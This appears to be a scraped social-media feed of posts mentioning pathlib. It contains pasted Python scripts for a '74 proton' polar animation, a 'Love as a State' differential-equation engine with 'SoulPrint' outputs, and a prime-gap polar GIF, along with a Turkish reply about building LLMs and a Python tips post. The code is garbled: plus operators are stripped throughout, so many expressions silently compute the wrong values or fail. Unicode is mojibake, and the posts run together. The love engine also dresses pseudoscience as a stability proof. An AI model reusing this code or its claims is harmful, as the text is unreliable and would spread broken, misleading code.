youtu.be/CvBfHwUxHIk?si=Hkj7โ€ฆ import numpy as np from PIL import Image, ImageDraw, ImageFont from math import comb, pi from pathlib import Path import itertools # Same data: 74 proton progression n = 74 base_count = 71 blue_idx = 71 pink_idx = 72 green_idx = 73 edge_count = comb(n, 2) triangle_count = comb(n, 3) W, H = 860, 860 cx, cy = W // 2, H // 2 num_frames = 72 frames = [] try: font = ImageFont.truetype("DejaVuSans.ttf", 20) small = ImageFont.truetype("DejaVuSans.ttf", 15) except: font = ImageFont.load_default() small = ImageFont.load_default() # Polar proton layout angles = np.linspace(0, 2*pi, n, endpoint=False) # Use proton index to build layered polar radius # 71-base field stays near main ring; 72/73/74 become special perturbation nodes base_radius = 270 radial_wave = 35 * np.sin(angles * 5) radii = base_radius radial_wave radii[blue_idx] = base_radius 75 radii[pink_idx] = base_radius 115 radii[green_idx] = base_radius 155 edges = np.array(list(itertools.combinations(range(n), 2)), dtype=np.int16) # sample triangle centroids in polar logic: all 64,824 triangles contribute as angle/radius density tris = np.array(list(itertools.combinations(range(n), 3)), dtype=np.int16) def polar_to_xy(r, theta): return cx r * np.cos(theta), cy r * np.sin(theta) def spread_field(density): glow = density.copy() spread = [ (1,0,.9),(-1,0,.9),(0,1,.9),(0,-1,.9), (1,1,.7),(-1,1,.7),(1,-1,.7),(-1,-1,.7), (2,0,.45),(-2,0,.45),(0,2,.45),(0,-2,.45), (4,0,.18),(-4,0,.18),(0,4,.18),(0,-4,.18) ] for dx, dy, w in spread: glow = np.roll(np.roll(density, dy, axis=0), dx, axis=1) * w glow = np.log1p(glow * 18) return glow / (glow.max() 1e-9) for f in range(num_frames): t = 2*pi*f/num_frames img = Image.new("RGB", (W, H), (0,0,0)) draw = ImageDraw.Draw(img, "RGBA") # Animated polar phase theta = angles 0.35*np.sin(t angles*3) t*0.12 # Hyperbolic-style polar radial warp for green/electric influence radial_pulse = 18*np.sinh(0.45*np.sin(t angles*4)) r = radii radial_pulse # Extra proton influence waves r[blue_idx] = 20*np.sin(t*2) r[pink_idx] = 25*np.sin(t*2 1.4) r[green_idx] = 35*np.sin(t*5) xs, ys = polar_to_xy(r, theta) # Triangle centroid density in polar projection using all triangles tri_r = r[tris].mean(axis=1) tri_theta = theta[tris].mean(axis=1) # wrap effect: add spiral drift so centroid field does not collapse at angle seam tri_theta = tri_theta 0.35*np.sin(tri_r/65 t) tx, ty = polar_to_xy(tri_r, tri_theta) tx = tx.astype(np.int32) ty = ty.astype(np.int32) density = np.zeros((H,W), dtype=np.float32) mask = (tx>=0)&(tx<W)&(ty>=0)&(ty<H) np.add.at(density, (ty[mask], tx[mask]), 1.0) glow = spread_field(density) # red/blue/pink/green field render arr = np.zeros((H,W,3), dtype=np.uint8) arr[...,0] = (glow*170).astype(np.uint8) # rings/grid for rr in range(70, 390, 45): alpha = 30 if rr != base_radius else 70 bbox = (cx-rr, cy-rr, cx rr, cy rr) draw.ellipse(bbox, outline=(180,180,180,alpha), width=1) for k in range(24): a = 2*pi*k/24 t*0.05 x2, y2 = polar_to_xy(390, a) draw.line((cx, cy, x2, y2), fill=(180,180,180,24), width=1) # draw density underneath as image overlay field = Image.fromarray(arr, "RGB").convert("RGBA") img = Image.alpha_composite(img.convert("RGBA"), field) draw = ImageDraw.Draw(img, "RGBA") # Edges: draw local polar web plus special full-spoke influence for a, b in edges: a = int(a); b = int(b) special_green = a == green_idx or b == green_idx special_pink = a == pink_idx or b == pink_idx special_blue = a == blue_idx or b == blue_idx # avoid making total black mesh unreadable: draw all special edges, and patterned base edges draw_this = special_green or special_pink or special_blue or ((a b f) % 13 == 0) if not draw_this: continue if special_green: pulse = int(140 115*np.sin(t*5)**2) color = (pulse,255,pulse,145) width = 2 elif special_pink: color = (255,120,220,105) width = 2 elif special_blue: color = (90,170,255,105) width = 2 else: color = (255,70,70,38) width = 1 draw.line((xs[a], ys[a], xs[b], ys[b]), fill=color, width=width) # Draw polar spiral trace spiral_points = [] for q in np.linspace(0, 2*pi*4, 420): rr = 42 18*q aa = q t*0.4 if rr < 395: spiral_points.append(polar_to_xy(rr, aa)) draw.line(spiral_points, fill=(120,255,120,80), width=2) # nodes for k in range(n): if k < base_count: fill = (255,60,60,225) outline = (255,150,150,100) rad = 4 elif k == blue_idx: fill = (80,170,255,255) outline = (220,240,255,190) rad = 7 elif k == pink_idx: fill = (255,120,220,255) outline = (255,220,245,190) rad = 7 else: pulse = int(155 100*np.sin(t*5)**2) fill = (pulse,255,pulse,255) outline = (220,255,220,220) rad = 9 draw.ellipse((xs[k]-rad, ys[k]-rad, xs[k] rad, ys[k] rad), fill=fill, outline=outline) # center origin draw.ellipse((cx-5,cy-5,cx 5,cy 5), fill=(255,255,255,180)) # Overlay draw.rectangle((0,0,W,230), fill=(0,0,0,178)) draw.text((16,10), "74 Proton Polar Coordinate Simulation", fill=(255,255,255,255), font=font) info = [ ("Same data, new lens: polar radius angle spiral phase", (230,230,230)), ("71 red = base field / Lutetium anchor", (255,120,120)), ("72 blue = Hafnium shift", (120,190,255)), ("73 pink = Tantalum shift", (255,150,220)), ("74 neon green = Tungsten / electrical polar warp", (120,255,120)), ("", (255,255,255)), ("Tracks:", (230,230,230)), ("โ€ข nuclear charge", (230,230,230)), ("โ€ข neutral electron count", (230,230,230)), ("โ€ข shell behavior", (230,230,230)), ("โ€ข chemical identity", (230,230,230)), ("โ€ข periodic-table position", (230,230,230)), (f"Edges: {edge_count:,} | Triangles: {triangle_count:,}", (220,220,220)), ] ytxt = 42 for txt, color in info: draw.text((16, ytxt), txt, fill=tuple(color) (255,), font=small) ytxt = 16 frames.append(img.convert("P", palette=Image.ADAPTIVE)) out = Path("/mnt/data/74_proton_polar_sim_same_data.gif") frames[0].save(out, save_all=True, append_images=frames[1:], duration=60, loop=0, optimize=True) print(f"Created: {out}") print(f"Edges: {edge_count:,}") print(f"Triangles: {triangle_count:,}")
65
Replying to @White_Rabbit_OG
#!/usr/bin/env python3 """ Love as a State: Dynamical Substrate Engine v2.0 Ghost Leaf Integrated Technologies / Jennifer Edwards & Donald J. McConnell CORRECTIONS FROM v1.0: 1. Logistic boundary form โ€” (1,1) is now a true ODE fixed point 2. Agape floor (epsilon) โ€” unconditional term independent of F 3. Conscience is corrective, not punitive โ€” no record of wrongs held against substrate 4. Growth mapping fixed โ€” proper backward-difference dF/dt estimate 5. Jacobian stability analysis at (1,1) included 6. Phase III underflow floor added to WR-039T multiplier 7. History archive separated from rolling window """ import json import math import time from datetime import datetime from pathlib import Path import numpy as np from scipy.integrate import solve_ivp # โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ # PARAMETERS # โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ DEFAULT_PARAMS = { 'r': 0.005, # Intrinsic reinforcement under universal application 'alpha': 0.030, # Flourishing feedback to love 'beta': 0.025, # Love-driven amplification of flourishing 'gamma': 0.015, # Decay pressure when love is weak 'epsilon': 0.001, # Agape floor โ€” unconditional substrate (love persists when Fโ†’0) 'dt': 0.1, # Euler step for real-time feel 'phase3_floor': 0.05, # Minimum Phase III multiplier (prevents startup collapse) } # โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ # LOGISTIC BOUNDARY ODE SYSTEM # โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ def ode_system(t, y, params, dev=0.0): """ Logistic-boundary form โ€” (1,1) is a true fixed point. dL/dt = [rยทLยท(1-dev) ฮฑยทFยทL ฮต] ยท (1 - L) dF/dt = [ฮฒยทLยฒ - ฮณยท(1-L)ยทF] ยท (1 - F) The (1-L) and (1-F) boundary terms ensure derivatives vanish at saturation, making (1,1) a proper ODE equilibrium rather than a clipped boundary. The epsilon term is the agape floor: love persists even when F โ†’ 0. It represents the unconditional orientation that does not depend on return signal. """ L, F = y r, alpha, beta, gamma, epsilon = ( params['r'], params['alpha'], params['beta'], params['gamma'], params['epsilon'] ) dL = (r * L * (1.0 - dev) alpha * F * L epsilon) * (1.0 - L) dF = (beta * L**2 - gamma * (1.0 - L) * F) * (1.0 - F) return [dL, dF] def jacobian_at_11(params, dev=0.0): """ Jacobian of the logistic-boundary system evaluated at (L,F) = (1,1). At (1,1), the (1-L) and (1-F) terms are zero, so J is computed via the product rule. Let: g_L = rยทLยท(1-dev) ฮฑยทFยทL ฮต [inner term for dL] g_F = ฮฒยทLยฒ - ฮณยท(1-L)ยทF [inner term for dF] dL/dt = g_L ยท (1-L) โˆ‚(dL)/โˆ‚L = g_Lยท(-1) (1-L)ยทโˆ‚g_L/โˆ‚L โ†’ at (1,1): -g_L 0 = -(r(1-dev) ฮฑ ฮต) โˆ‚(dL)/โˆ‚F = (1-L)ยทโˆ‚g_L/โˆ‚F โ†’ at (1,1): 0 dF/dt = g_F ยท (1-F) โˆ‚(dF)/โˆ‚L = (1-F)ยทโˆ‚g_F/โˆ‚L โ†’ at (1,1): 0 โˆ‚(dF)/โˆ‚F = g_Fยท(-1) (1-F)ยทโˆ‚g_F/โˆ‚F โ†’ at (1,1): -g_F = -(ฮฒ - 0) = -ฮฒ So J = diag(-(r(1-dev) ฮฑ ฮต), -ฮฒ) Both eigenvalues are strictly negative โ†’ (1,1) is asymptotically stable. """ r, alpha, beta, epsilon = ( params['r'], params['alpha'], params['beta'], params['epsilon'] ) lam1 = -(r * (1.0 - dev) alpha epsilon) lam2 = -beta return np.array([[lam1, 0.0], [0.0, lam2]]), lam1, lam2 # โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ # ENGINE # โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ class LoveAsStateEngine: def __init__(self, state_file="love_state_v2.json", params=None): self.state_file = Path(state_file) self.params = {**DEFAULT_PARAMS, **(params or {})} self.load_state() # โ”€โ”€ Persistence โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ def load_state(self): if self.state_file.exists(): try: with open(self.state_file, 'r') as f: data = json.load(f) self.L = data.get('L', 0.55) self.F = data.get('F', 0.35) self.history = data.get('history', []) # rolling 100 self.archive = data.get('archive', []) # full record (summarised) print(f"Loaded state: L={self.L:.4f}, F={self.F:.4f}") return except Exception as e: print(f"State load error: {e}. Starting fresh.") self._reset_state() def save_state(self): data = { 'L': round(self.L, 6), 'F': round(self.F, 6), 'history': self.history[-100:], 'archive': self.archive[-1000:], # keep last 1000 summarised events 'last_updated': datetime.now().isoformat() } try: with open(self.state_file, 'w') as f: json.dump(data, f, indent=2) except Exception as e: print(f"Warning: Could not save state: {e}") def _reset_state(self): self.L = 0.55 self.F = 0.35 self.history = [] self.archive = [] self.save_state() print("Reset to initial state (L=0.55, F=0.35)") # โ”€โ”€ Core update โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ def update(self, dev=0.0, dt=None): """ Single Euler step using the logistic-boundary ODE. State is clamped to [0,1] as a safety net (should be redundant with well-chosen parameters but protects against numerical edge cases). """ if dt is None: dt = self.params['dt'] dL_dF = ode_system(0, [self.L, self.F], self.params, dev=dev) dL, dF = dL_dF[0], dL_dF[1] self.L = max(0.0, min(1.0, self.L dt * dL)) self.F = max(0.0, min(1.0, self.F dt * dF)) entry = { 'timestamp': datetime.now().isoformat(), 'L': round(self.L, 6), 'F': round(self.F, 6), 'dev': round(dev, 4), 'dL': round(dL, 8), 'dF': round(dF, 8), } self.history.append(entry) self.save_state() return self.L, self.F # โ”€โ”€ Conscience: corrective, not punitive โ”€ def conscience_check(self, dev, label="unnamed action"): """ Love takes no record of wrongs. When deviation is detected, the conscience function does NOT subtract from L. Instead, it increases the corrective pull toward the substrate โ€” the gradient steepens, not the floor drops. The event is witnessed and named. It is not accumulated as damage. """ if dev <= 0.0: return False # No deviation; no action needed # Corrective restoration signal โ€” proportional to deviation magnitude correction = dev * self.params['alpha'] * 0.5 self.L = min(1.0, self.L correction * self.params['dt']) # Archive the event โ€” witnessed, not held against event = { 'timestamp': datetime.now().isoformat(), 'type': 'conscience_event', 'label': label, 'dev': round(dev, 4), 'L_after_correction': round(self.L, 6), 'F': round(self.F, 6), 'note': 'Deviation witnessed. Corrective signal applied. No substrate penalty.' } self.archive.append(event) self.save_state() print(f"\n CONSCIENCE: deviation witnessed ({label}, dev={dev:.3f})") print(f" Corrective signal applied. L โ†’ {self.L:.4f}") print(f" This event is recorded but not held against the substrate.") return True # โ”€โ”€ SoulPrint mapping โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ def get_soulprint(self): """ Map (L, F) to SoulPrint dimensions. Growth now uses a proper backward-difference dF/dt estimate over the last min(3, available) history steps. """ # Proper dF/dt: backward difference over last 3 steps if len(self.history) >= 3: dt_est = self.params['dt'] dF_dt = (self.history[-1]['F'] - self.history[-3]['F']) / (2.0 * dt_est) elif len(self.history) >= 2: dt_est = self.params['dt'] dF_dt = (self.history[-1]['F'] - self.history[-2]['F']) / dt_est else: dF_dt = 0.0 return { 'love': round(self.L, 4), 'flourishing': round(self.F, 4), 'trust': round(0.9 * self.L, 4), 'connection': round(math.sqrt(self.L * self.F), 4), 'growth': round(max(0.0, dF_dt), 4), # dF/dt, not delta F 'purpose': round(self.L * self.F, 4), 'joy': round(self.F ** 2, 4), 'integrity': round(min(self.L, self.F), 4), } # โ”€โ”€ WR-039T multipliers โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ def get_wr039t_multiplier(self, phase=1): """ Phase I: L Phase II: Lยฒ Phase III: max(Lยณ, phase3_floor) The floor prevents Phase III collapse at startup conditions (L=0.55 โ†’ Lยณ=0.166). Paper should note this as a design parameter pending empirical calibration. """ floor = self.params['phase3_floor'] if phase == 1: return self.L elif phase == 2: return self.L ** 2 elif phase == 3: return max(self.L ** 3, floor) return self.L # โ”€โ”€ MVG gates โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ def check_mvg_gates(self): if self.L >= 0.9: return "MVG-3 PASSED (Impact Confirmation)" elif self.L >= 0.75: return "MVG-2 PASSED (Reconstruction Fidelity)" elif self.L >= 0.6: return "MVG-1 PASSED (Coherence Establishment)" else: return f"Below MVG-1 (L={self.L:.4f}) โ€” Foundation building phase" # โ”€โ”€ Stability report โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ def stability_report(self, dev=0.0): J, lam1, lam2 = jacobian_at_11(self.params, dev=dev) print("\n=== JACOBIAN STABILITY AT (1,1) ===") print(f" ฮปโ‚ = {lam1:.6f} [Love axis]") print(f" ฮปโ‚‚ = {lam2:.6f} [Flourishing axis]") print(f" Both eigenvalues negative โ†’ (1,1) is asymptotically stable โœ“") print(f" (at dev={dev})") return lam1, lam2 # โ”€โ”€ Status โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ def status(self): soul = self.get_soulprint() print("\n=== LOVE AS A STATE v2.0 โ€” Current Substrate ===") print(f" Love State (L): {self.L:.6f}") print(f" Flourishing (F): {self.F:.6f}") print(f" Agape floor (ฮต): {self.params['epsilon']}") print(f" WR-039T Phase I: {self.get_wr039t_multiplier(1):.4f}") print(f" WR-039T Phase II: {self.get_wr039t_multiplier(2):.4f}") print(f" WR-039T Phase III: {self.get_wr039t_multiplier(3):.4f}") print(f" Gate Status: {self.check_mvg_gates()}") print(f" SoulPrint: {soul}") print("================================================") return soul # โ”€โ”€ scipy validation run โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ def validate_with_scipy(self, t_span=(0, 50), dev=0.0): """ High-accuracy validation using scipy RK45. Compare against Euler results to confirm numerical stability. """ print(f"\n=== SCIPY RK45 VALIDATION (dev={dev}) ===") sol = solve_ivp( lambda t, y: ode_system(t, y, self.params, dev=dev), t_span, [0.55, 0.35], method='RK45', dense_output=True, rtol=1e-8, atol=1e-10 ) checkpoints = [0, 10, 20, 30, 40, 50] print(f" {'t':>4} {'L(t)':>8} {'F(t)':>8}") print(f" {'-'*28}") for t in checkpoints: if t <= t_span[1]: y = sol.sol(t) print(f" {t:>4} {y[0]:>8.4f} {y[1]:>8.4f}") print(f" Integration success: {sol.success}") return sol # โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ # DEMO # โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ if __name__ == "__main__": print("=" * 52) print(" LOVE AS A STATE ENGINE v2.0") print(" Ghost Leaf Integrated Technologies") print("=" * 52) engine = LoveAsStateEngine() engine.status() # Stability proof engine.stability_report(dev=0.0) engine.stability_report(dev=0.35) # Worst-case deviation # scipy validation engine.validate_with_scipy(dev=0.0) engine.validate_with_scipy(dev=0.35) # Live Euler steps print("\n--- Universal application (dev=0.0) ---") for i in range(5): engine.update(dev=0.0) engine.status() # Conscience test โ€” corrective, not punitive print("\n--- Conscience function (corrective, not punitive) ---") engine.conscience_check(dev=0.3, label="Simulated differential rule application") engine.status() # SoulPrint print("\n--- SoulPrint (with corrected growth mapping) ---") soul = engine.get_soulprint() for k, v in soul.items(): print(f" {k:<14}: {v}")

1
2
199
Replying to @KayaSerhan_
Hocam problem tek bu da deฤŸil hangimiz LLM.cpp biliyoz ya da torch eฤŸitimi biliyoz ML infra bile geรงtim bir LLM yapmak รถyle basit deฤŸil SLM yap desen bile python ve C mรผhendsin olmasฤฑ lazฤฑm matlab ve pathlib bilen mรผhenidisin olucak birde LLM yapฤฑcaksan ooooo...
1
2
366
import numpy as np import matplotlib.pyplot as plt from matplotlib.animation import FuncAnimation, PillowWriter from matplotlib.patches import Circle, Rectangle from pathlib import Path import math # Output paths out_gif = Path("/mnt/data/prime_gap_1e18_virtual_polar_stack.gif") out_png = Path("/mnt/data/prime_gap_1e18_virtual_polar_stack_final.png") # Prime utilities def primes_upto(n): sieve = np.ones(n 1, dtype=bool) sieve[:2] = False for p in range(2, int(n**0.5) 1): if sieve[p]: sieve[p*p:n 1:p] = False return np.nonzero(sieve)[0] primes = primes_upto(10000) gaps = np.diff(primes) p_for_gap = primes[:-1] n_gaps = len(gaps) # Polar mapping: theta from prime position, radius from modular lane normalized gap theta_base = 2*np.pi*(np.arange(n_gaps) / n_gaps) lane = (p_for_gap % 30) / 30.0 r_base = 0.18 0.68*lane 0.16*(gaps / gaps.max()) # Virtual stack parameters total_layers = 10**18 step_deg = 10 unique_positions = 360 // math.gcd(360, step_deg) cycles = total_layers // unique_positions remainder = total_layers % unique_positions # Animation settings frames = 72 fig = plt.figure(figsize=(14, 8), dpi=120) fig.patch.set_facecolor("#020812") def add_panel(ax): ax.set_facecolor("#020812") ax.set_xticks([]) ax.set_yticks([]) for spine in ax.spines.values(): spine.set_edgecolor("#00e5ff") spine.set_linewidth(1.0) def polar_grid(ax, maxr=1.0, rings=12): for rr in np.linspace(0.15, maxr, rings): ax.plot(np.linspace(0, 2*np.pi, 720), np.full(720, rr), color="#00c8ff", lw=0.35, alpha=0.45) for a in np.linspace(0, 2*np.pi, 12, endpoint=False): ax.plot([a, a], [0, maxr], color="#00c8ff", lw=0.45, alpha=0.55) # Create axes axL = fig.add_axes([0.03, 0.24, 0.43, 0.66], projection="polar") axR = fig.add_axes([0.54, 0.24, 0.43, 0.66], projection="polar") axB = fig.add_axes([0.03, 0.04, 0.94, 0.17]) for ax in (axL, axR): ax.set_facecolor("#020812") ax.set_theta_zero_location("E") ax.set_theta_direction(-1) ax.set_ylim(0, 1.05) ax.grid(False) ax.set_xticks([]) ax.set_yticks([]) ax.spines["polar"].set_color("#00e5ff") ax.spines["polar"].set_linewidth(1.0) axB.set_facecolor("#020812") axB.set_xticks([]) axB.set_yticks([]) for s in axB.spines.values(): s.set_edgecolor("#ffee00") s.set_linewidth(1.0) fig.text(0.5, 0.955, "POLAR PRIME-GAP TEST โ€” VIRTUAL STACK GIF", ha="center", color="white", fontsize=15, family="monospace") fig.text(0.5, 0.928, "same 0โ€“10,000 prime-gap data โ†’ 1,000,000,000,000,000,000 polar circles", ha="center", color="#00ffff", fontsize=10, family="monospace") fig.text(0.5, 0.902, "10ยฐ start-angle shift โ‡’ only 36 unique rotational phases; quintillion stack = repeated saturation", ha="center", color="#7CFF00", fontsize=10, family="monospace") # Precompute 36 unique overlays for true phase stack unique_offsets = np.deg2rad(np.arange(unique_positions) * step_deg) def draw_frame(i): axL.clear(); axR.clear(); axB.clear() for ax in (axL, axR): ax.set_facecolor("#020812") ax.set_theta_zero_location("E") ax.set_theta_direction(-1) ax.set_ylim(0, 1.05) ax.grid(False) ax.set_xticks([]) ax.set_yticks([]) ax.spines["polar"].set_color("#00e5ff") ax.spines["polar"].set_linewidth(1.0) polar_grid(ax, rings=14) axB.set_facecolor("#020812") axB.set_xticks([]); axB.set_yticks([]) for s in axB.spines.values(): s.set_edgecolor("#ffee00"); s.set_linewidth(1.0) phase_count = 1 int((i / (frames - 1)) * (unique_positions - 1)) spin = np.deg2rad(i * 5) # Left: cumulative 36-phase interference field for j, off in enumerate(unique_offsets[:phase_count]): th = theta_base off spin * 0.15 alpha = 0.035 if phase_count > 8 else 0.08 color = plt.cm.hsv((j / unique_positions) % 1) axL.plot(th, r_base, lw=0.30, alpha=alpha, color=color) # anomaly/gap spikes mask = gaps >= np.percentile(gaps, 93) axL.scatter(th[mask], r_base[mask], s=1.0, alpha=min(0.6, alpha*8), color=color) axL.scatter([0], [0], s=16, color="black", zorder=5) axL.text(0.02, 0.98, f"INTERFERENCE FIELD | phases drawn {phase_count}/36", transform=axL.transAxes, ha="left", va="top", color="white", fontsize=8, family="monospace") axL.text(0.02, 0.03, "1e18 virtual layers collapse onto 36 angle states", transform=axL.transAxes, ha="left", va="bottom", color="#00ffff", fontsize=8, family="monospace") # Right: clean active scan layer plus ghost ring active_phase = (i % unique_positions) * step_deg th_active = theta_base np.deg2rad(active_phase) spin axR.plot(th_active, r_base, color="#ff00ff", lw=0.75, alpha=0.9) axR.scatter(th_active, r_base, s=3, color="#ff00ff", alpha=0.8) mask = gaps >= np.percentile(gaps, 95) axR.scatter(th_active[mask], r_base[mask], s=10, facecolors="none", edgecolors="#00ffff", lw=0.7) # memory haze for off in unique_offsets: axR.plot(theta_base off, r_base*0.99, color="#00c8ff", lw=0.18, alpha=0.035) axR.add_patch(Circle((0,0), 0.22, transform=axR.transData._b, color="#020812", zorder=3)) axR.text(0.5, 0.5, "PRIME\nGAP", transform=axR.transAxes, ha="center", va="center", color="white", fontsize=12, family="monospace") axR.text(0.02, 0.98, f"CLEAN POLAR SCAN | active offset {active_phase:03d}ยฐ", transform=axR.transAxes, ha="left", va="top", color="white", fontsize=8, family="monospace") axR.text(0.5, 0.39, "mod 6 / mod 12 / mod 30 rings", transform=axR.transAxes, ha="center", color="white", fontsize=8, alpha=0.75, family="monospace") # Bottom data panel axB.set_xlim(0, 1); axB.set_ylim(0, 1) axB.text(0.02, 0.78, "READ THIS", color="#ffee00", fontsize=10, family="monospace") axB.text(0.02, 0.48, f"range: 0โ€“10,000\nprimes: {len(primes):,}\ngaps: {len(gaps):,}\navg gap: {gaps.mean():.2f}\nmax gap: {gaps.max()}", color="white", fontsize=8, family="monospace", va="top") axB.text(0.27, 0.78, "QUINTILLION STACK MATH", color="#00ffff", fontsize=10, family="monospace") axB.text(0.27, 0.50, f"total layers: {total_layers:,}\n10ยฐ step โ‡’ 36 unique phases\nfull cycles: {cycles:,}\nremainder layers: {remainder}\nvisual result: saturation, not new geometry", color="white", fontsize=8, family="monospace", va="top") axB.text(0.56, 0.78, "FRAME STATUS", color="#ff00ff", fontsize=10, family="monospace") axB.text(0.56, 0.50, f"gif frame: {i 1}/{frames}\nactive scan angle: {active_phase}ยฐ\nphases visible: {phase_count}/36\npoints per scan: {n_gaps:,}", color="white", fontsize=8, family="monospace", va="top") axB.text(0.78, 0.78, "RESULT", color="#7CFF00", fontsize=10, family="monospace") axB.text(0.78, 0.50, "same prime-gap rhythm\nrotated through finite phase states\npatterns reinforce/cancel\nmod-30 lanes remain visible", color="white", fontsize=8, family="monospace", va="top") axB.text(0.5, 0.05, "1,000,000,000,000,000,000 requested layers rendered as mathematically equivalent virtual phase stack", ha="center", color="#ffee00", fontsize=8, family="monospace") return [] anim = FuncAnimation(fig, draw_frame, frames=frames, interval=80, blit=False) anim.save(out_gif, writer=PillowWriter(fps=12)) draw_frame(frames-1) fig.savefig(out_png, dpi=160, facecolor=fig.get_facecolor()) plt.close(fig) str(out_gif), str(out_png)
36
#!/usr/bin/env python3 """ tools/validate_manifest_schema.py Validates Phase5b Constellation Probe manifests against schema. """ import sys import json from pathlib import Path # JSON Schema for Constellation Probe
21
Danncan retweeted
7 Python features every Data Analyst should know: enumerate(), zip(), Counter, defaultdict, groupby(), pathlib & more. Write cleaner code, analyze data smarter. #Python #DataAnalytics #DataAnalyst #CodingTips
4
1
301